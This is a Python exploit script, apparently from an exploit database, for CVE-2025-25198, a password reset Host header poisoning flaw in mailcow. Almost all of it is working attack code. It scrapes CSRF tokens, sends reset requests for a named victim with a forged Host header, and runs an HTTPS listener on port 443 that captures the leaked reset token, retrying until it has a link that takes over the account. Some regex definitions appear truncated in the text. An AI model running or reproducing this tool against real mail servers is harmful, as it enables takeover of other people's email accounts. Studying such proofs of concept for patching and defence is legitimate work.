# Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning # Date: 2025-10-21 # Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla) # Vendor Homepage: https://mailcow.email # Software Link: https://github.com/mailcow/mailcow-dockerized # Version: < 2025-01a (REQUIRED) # Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01 # CVE : CVE-2025-25198 # PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git # mailcow: dockerized < 2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198) # Description: # A flaw in mailcow’s password reset allows Host header poisoning to generate a # reset link pointing to an attacker-controlled domain, potentially enabling account # takeover if a user clicks the poisoned link. Patched in 2025-01a. # References: # - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198 # - Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf # Usage (authorized testing only): # sudo python3 cve-2025-25198.py \ # --listen-host 0.0.0.0 \ # --base-url https://mail.target.tld \ # --username victim@target.tld \ # --attacker-host your.ip.or.dns \ # --http2 # Requirements: # Python 3.8+ ; pip install httpx (or 'requests' for HTTP/1.1) # Legal: # For authorized security testing only. Do NOT target live websites. from __future__ import annotations import argparse import http.server import os import re import ssl import subprocess import sys import threading from datetime import datetime, timezone from http import HTTPStatus from http.server import SimpleHTTPRequestHandler from typing import Optional, Dict, List, Tuple from urllib.parse import urlparse, parse_qs try: import requests except Exception: requests = None RESET = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" GREEN = "\033[32m" CYAN = "\033[36m" YELLOW = "\033[33m" MAGENTA = "\033[35m" ANSI_RE = re.compile(r'\x1b\[[0-9;]*m') def visible_len(s: str) -> int: return len(ANSI_RE.sub('', s)) class Console: def __init__(self, only_final: bool = False) -> None: self.only_final = only_final def log(self, msg: str) -> None: if self.only_final: return ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z") print(f"{DIM}[{ts}]{RESET} {msg}", flush=True) def banner(self, link: str, source: str = "response") -> None: host = urlparse(link).hostname or "" title = f" {BOLD}{GREEN}RESET LINK FOUND!{RESET} {DIM}({source}){RESET}" link_line = f" {CYAN}{link}{RESET}" target_line = f" Target: {BOLD}{host}{RESET}" if host else "" max_content = max( visible_len(title), visible_len(link_line), visible_len(target_line) if host else 0 ) inner_width = max(80, min(150, max_content)) line = "═" * inner_width def box_line(content: str) -> str: pad = inner_width - visible_len(content) if pad < 0: pad = 0 return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}" print("") print(f"{MAGENTA}╔{line}╗{RESET}") print(box_line(title)) print(f"{MAGENTA}╟{line}╢{RESET}") print(box_line(link_line)) if host: print(box_line(target_line)) print(f"{MAGENTA}╚{line}╝{RESET}") print("") console = Console(False) RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)', re.I) RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b', re.I) def links_from_text(html: str, base_url: str) -> List[str]: if not html: return [] out: List[str] = [] for m in RGX_TOKEN_IN_URL.finditer(html): out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}") for m in RGX_TOKEN_FALLBACK.finditer(html): cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}" if cand not in out: out.append(cand) return out def links_from_headers(headers: Dict[str, str], base_url: str) -> List[str]: loc = headers.get("Location") or headers.get("location") return links_from_text(loc, base_url) if loc else [] class ListenerState: def __init__(self) -> None: self.event = threading.Event() self.last_link: Optional[str] = None class LoggingHTTPSHandler(SimpleHTTPRequestHandler): server_version = "PoisonedHostTest/host-only" error_content_type = "text/plain" def log_message(self, *_: object) -> None: return def _record(self, code: int) -> None: parsed = urlparse(self.path) token = parse_qs(parsed.query).get("token") or [] if token: link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}" self.server.state.last_link = link self.server.state.event.set() if not console.only_final: console.log(f"{YELLOW}[HIT]{RESET} {self.command} {self.path} ← {self.client_address[0]} [{code}]") def do_GET(self) -> None: if self.path.startswith("/favicon"): self.send_response(HTTPStatus.NO_CONTENT); self.end_headers(); return self.send_response(HTTPStatus.OK) self.send_header("Content-Type", "text/html; charset=utf-8") self.end_headers() token = parse_qs(urlparse(self.path).query).get("token", [""])[0] body = f"OK

token: {token}

" self.wfile.write(body.encode("utf-8")) self._record(HTTPStatus.OK) def do_POST(self) -> None: _ = self.rfile.read(int(self.headers.get("Content-Length", "0") or 0)) self.send_response(HTTPStatus.NO_CONTENT); self.end_headers() self._record(HTTPStatus.NO_CONTENT) def ensure_self_signed(cert_file: str, key_file: str, cn: str = "localhost", days: int = 365) -> None: if os.path.exists(cert_file) and os.path.exists(key_file): return console.log("[+] Generating self-signed certificate…") subprocess.run([ "openssl", "req", "-x509", "-newkey", "rsa:2048", "-keyout", key_file, "-out", cert_file, "-days", str(days), "-nodes", "-subj", f"/CN={cn}" ], check=True) def require_root_for_privileged_port(port: int) -> None: if port < 1024: # POSIX check: require root if binding <1024 if hasattr(os, "geteuid"): if os.geteuid() != 0: print("[-] Port 443 requires root. Re-run with sudo.", file=sys.stderr) sys.exit(2) # On non-POSIX (e.g., Windows) we don't enforce sudo. def start_https_listener(host: str, port: int, cert: str, key: str, base_url: str, state: ListenerState): ensure_self_signed(cert, key) httpd = http.server.ThreadingHTTPServer((host, port), LoggingHTTPSHandler) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(certfile=cert, keyfile=key) httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True) httpd.target_base_url = base_url httpd.state = state threading.Thread(target=httpd.serve_forever, name="https-listener", daemon=True).start() console.log(f"[+] HTTPS listener on https://{host}:{port}") return httpd def add_cookie_string_to_session(session, cookie_header: Optional[str], base_url: str) -> None: if not cookie_header: return host = urlparse(base_url).hostname for part in re.split(r';\s*|,\s*', cookie_header.strip()): if not part or "=" not in part: continue name, val = part.split("=", 1) try: session.cookies.set(name.strip(), val.strip(), domain=host) except Exception: pass class HttpClient: def __init__(self, base_url: str, use_http2: bool, cookie_header: Optional[str]) -> None: self.base_url = base_url.rstrip("/") self.use_http2 = use_http2 if use_http2: try: import httpx except Exception as e: raise RuntimeError("Install httpx for --http2: pip install httpx") from e # TLS verification disabled intentionally for testing environments self.session = httpx.Client(http2=True, verify=False, timeout=20.0, follow_redirects=False) else: if requests is None: raise RuntimeError("Missing 'requests' for HTTP/1.1.") self.session = requests.Session() add_cookie_string_to_session(self.session, cookie_header, self.base_url) def get(self, url: str, headers: Dict[str, str], allow_redirects: bool): if self.use_http2: return self.session.get(url, headers=headers or {}, follow_redirects=allow_redirects) # requests: disable TLS verification explicitly return self.session.get(url, headers=headers or {}, verify=False, timeout=20, allow_redirects=allow_redirects) def post(self, url: str, headers: Dict[str, str], data: Dict[str, str], allow_redirects: bool): if self.use_http2: return self.session.post(url, headers=headers or {}, data=data or {}, follow_redirects=allow_redirects) return self.session.post(url, headers=headers or {}, data=data or {}, verify=False, timeout=20, allow_redirects=allow_redirects) RGX_INPUTS = [ re.compile(r'name=["\']csrf_token["\']\s+value=["\']([0-9a-zA-Z_\-./+=:]+)["\']'), re.compile(r'name=["\']_csrf["\']\s+value=["\']([^"\']+)["\']'), re.compile(r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']'), re.compile(r'name=["\']csrf_token_reset["\']\s+value=["\']([^"\']+)["\']'), ] RGX_META = re.compile(r' List[str]: if not html: return [] cands: List[str] = [] for rgx in RGX_INPUTS: m = rgx.search(html) if m: cands.append(m.group(1)) m = RGX_META.search(html) if m: cands.append(m.group(1)) for rgx in RGX_JS: m = rgx.search(html) if m: cands.append(m.group(1)) for m in re.finditer(r'csrf_token=([0-9a-zA-Z_\-./+=:]{16,})', html): cands.append(m.group(1)) seen: set[str] = set() out: List[str] = [] for v in cands: if v not in seen: seen.add(v); out.append(v) return out def _csrf_from_set_cookie(headers: Dict[str, str]) -> Optional[str]: sc = headers.get("Set-Cookie") or headers.get("set-cookie") if not sc: return None for cookie in re.split(r',(?=\s*\w+=)', sc): for name in COOKIE_CSRF: m = re.search(rf'\b{name}=([^;,\s]+)', cookie, re.I) if m: return m.group(1) return None def _best_csrf(candidates: List[str]) -> Optional[str]: if not candidates: return None for c in candidates: if HEX64.fullmatch(c): return c return candidates[0] def nav_headers(base_url: str, attacker_host: str) -> Dict[str, str]: return { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Te": "trailers", "Referer": base_url.rstrip("/") + "/", "Origin": base_url, "Host": attacker_host, } def fetch_csrf_auto(client: HttpClient, base_url: str, attacker_host: str, username: str) -> str: paths = ["", "/", "/index.php", "/reset-password", "/login", "/auth", "/user/reset"] h1 = nav_headers(base_url, attacker_host) for p in paths: url = client.base_url + p try: r = client.get(url, headers=h1, allow_redirects=True) text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore") headers = dict(getattr(r, "headers", {})) token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text)) if token: return token except Exception as e: console.log(f"[!] CSRF GET failed at {url}: {e}") h2 = dict(h1); h2.pop("Host", None) for p in paths: url = client.base_url + p try: r = client.get(url, headers=h2, allow_redirects=True) text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore") headers = dict(getattr(r, "headers", {})) token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text)) if token: return token except Exception as e: console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}") pre_headers = { "User-Agent": h1["User-Agent"], "Accept": h1["Accept"], "Accept-Language": h1["Accept-Language"], "Content-Type": "application/x-www-form-urlencoded", "Host": attacker_host, "Referer": base_url.rstrip("/") + "/", "Origin": base_url, "Upgrade-Insecure-Requests": "1", } try: r = client.post(client.base_url + "/reset-password", headers=pre_headers, data={"username": username, "pw_reset_request": "", "csrf_token": ""}, allow_redirects=True) text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore") headers = dict(getattr(r, "headers", {})) token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text)) if token: return token except Exception as e: console.log(f"[!] Preflight POST for CSRF failed: {e}") raise RuntimeError("Unable to auto-extract csrf_token.") def looks_like_csrf_error(body: str, status: int) -> bool: if status in (400, 403): return True text = (body or "").lower() return any(k in text for k in ("csrf", "invalid token", "expired token", "forgery", "bad token")) def run_sequence(client: HttpClient, base_url: str, username: str, csrf: str, attacker_host: str) -> Tuple[Optional[str], Dict[str, object], str]: ua = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" headers = { "User-Agent": ua, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded", "Host": attacker_host, "Referer": base_url.rstrip('/') + "/", "Origin": base_url, "Upgrade-Insecure-Requests": "1", } r1 = client.get(base_url, headers=headers, allow_redirects=True) body1 = r1.text if hasattr(r1, "text") else r1.content.decode("utf-8", "ignore") reset_ep = base_url.rstrip("/") + "/reset-password" payload = {"username": username, "pw_reset_request": "", "csrf_token": csrf} r2 = client.post(reset_ep, headers=headers, data=payload, allow_redirects=False) body2 = r2.text if hasattr(r2, "text") else r2.content.decode("utf-8", "ignore") r3 = client.get(base_url.rstrip("/") + "/", headers=headers, allow_redirects=False) body3 = r3.text if hasattr(r3, "text") else r3.content.decode("utf-8", "ignore") found: List[str] = [] found += links_from_headers(dict(getattr(r1, "headers", {})), base_url) found += links_from_headers(dict(getattr(r2, "headers", {})), base_url) found += links_from_headers(dict(getattr(r3, "headers", {})), base_url) found += links_from_text(body1, base_url) found += links_from_text(body2, base_url) found += links_from_text(body3, base_url) seen: set[str] = set() clean = [l for l in found if not (l in seen or seen.add(l))] summary = { "get1": getattr(r1, "status_code", None), "post": getattr(r2, "status_code", None), "get2": getattr(r3, "status_code", None), "links_found": clean, } return (clean[0] if clean else None), summary, body2 def attempt_once(base_url: str, username: str, attacker_host: str, use_http2: bool, cookie_header: Optional[str], csrf_override: Optional[str]) -> Tuple[Optional[str], Dict[str, object]]: client = HttpClient(base_url, use_http2, cookie_header) if csrf_override: csrf = csrf_override console.log(f"[+] Using provided CSRF: {csrf[:16]}…") else: csrf = fetch_csrf_auto(client, base_url, attacker_host, username) console.log(f"[+] Auto CSRF: {csrf[:16]}…") console.log("[>] Sending sequence with poisoned Host") link, summary, post_body = run_sequence(client, base_url, username, csrf, attacker_host) if not link: post_status = int(summary.get("post") or 0) if not csrf_override and looks_like_csrf_error(post_body, post_status): console.log("[!] CSRF invalid/expired. Rotating session and retrying once…") client = HttpClient(base_url, use_http2, None) csrf2 = fetch_csrf_auto(client, base_url, attacker_host, username) console.log(f"[+] Auto CSRF (retry): {csrf2[:16]}…") link, summary, _ = run_sequence(client, base_url, username, csrf2, attacker_host) return link, summary def run_until_success(listen_host: str, base_url: str, username: str, attacker_host: str, use_http2: bool, interval: float, max_attempts: int, cookie_header: Optional[str], csrf_override: Optional[str]) -> Optional[str]: # Force port 443 and require sudo/root on POSIX listen_port = 443 require_root_for_privileged_port(listen_port) state = ListenerState() srv = start_https_listener(listen_host, listen_port, "server.pem", "server.key", base_url, state) try: attempt = 0 while True: attempt += 1 if max_attempts and attempt > max_attempts: console.log("[i] Reached --max-attempts without success.") return None try: link, _summary = attempt_once(base_url, username, attacker_host, use_http2, cookie_header, csrf_override) except Exception as e: console.log(f"[!] Attempt #{attempt} error: {e}") link = None if link: console.banner(link, source="response") return link if state.event.wait(timeout=interval): link = state.last_link if link: console.banner(link, source="listener") return link console.log(f"[i] Attempt #{attempt} yielded no link. Retrying in {int(interval)}s…") except KeyboardInterrupt: console.log("[+] Aborted by user.") return None finally: try: srv.shutdown() except Exception: pass def main() -> None: p = argparse.ArgumentParser( description="Host header poisoning tester (Mailcow CVE-2025-25198) — HTTPS listener on port 443 (requires sudo/root), auto-cookie + auto-CSRF (or --csrf), retry, Host-only" ) p.add_argument("--listen-host", required=True) p.add_argument("--base-url", required=True) p.add_argument("--username", required=True) p.add_argument("--attacker-host", required=True) p.add_argument("--http2", action="store_true", help="Use HTTP/2 (recommended)") p.add_argument("--interval", type=float, default=8.0, help="Seconds between attempts and click wait window") p.add_argument("--max-attempts", type=int, default=0, help="0=infinite; >0 limits attempts") p.add_argument("--cookie", default=None, help="(Optional) inject cookies, e.g., PHPSESSID=...") p.add_argument("--csrf", default=None, help="(Optional) provide csrf_token explicitly (auto if omitted)") p.add_argument("--only-final", action="store_true", help="Hide progress; print only the final link banner") args = p.parse_args() global console console = Console(only_final=args.only_final) if not args.http2 and requests is None: console.log("[!] Install 'requests' or use --http2 with 'httpx'."); sys.exit(2) if not args.http2: console.log("[i] Running over HTTP/1.1 (requests). For best parity, use --http2.") link = run_until_success( listen_host=args.listen_host, base_url=args.base_url, username=args.username, attacker_host=args.attacker_host, use_http2=args.http2, interval=args.interval, max_attempts=args.max_attempts, cookie_header=args.cookie, csrf_override=args.csrf, ) if link: if not args.only_final: print(f"{BOLD}{GREEN}Success:{RESET} reset link obtained. Exiting.") else: if not args.only_final: print("[i] No success (attempts exhausted or aborted).") if __name__ == "__main__": main()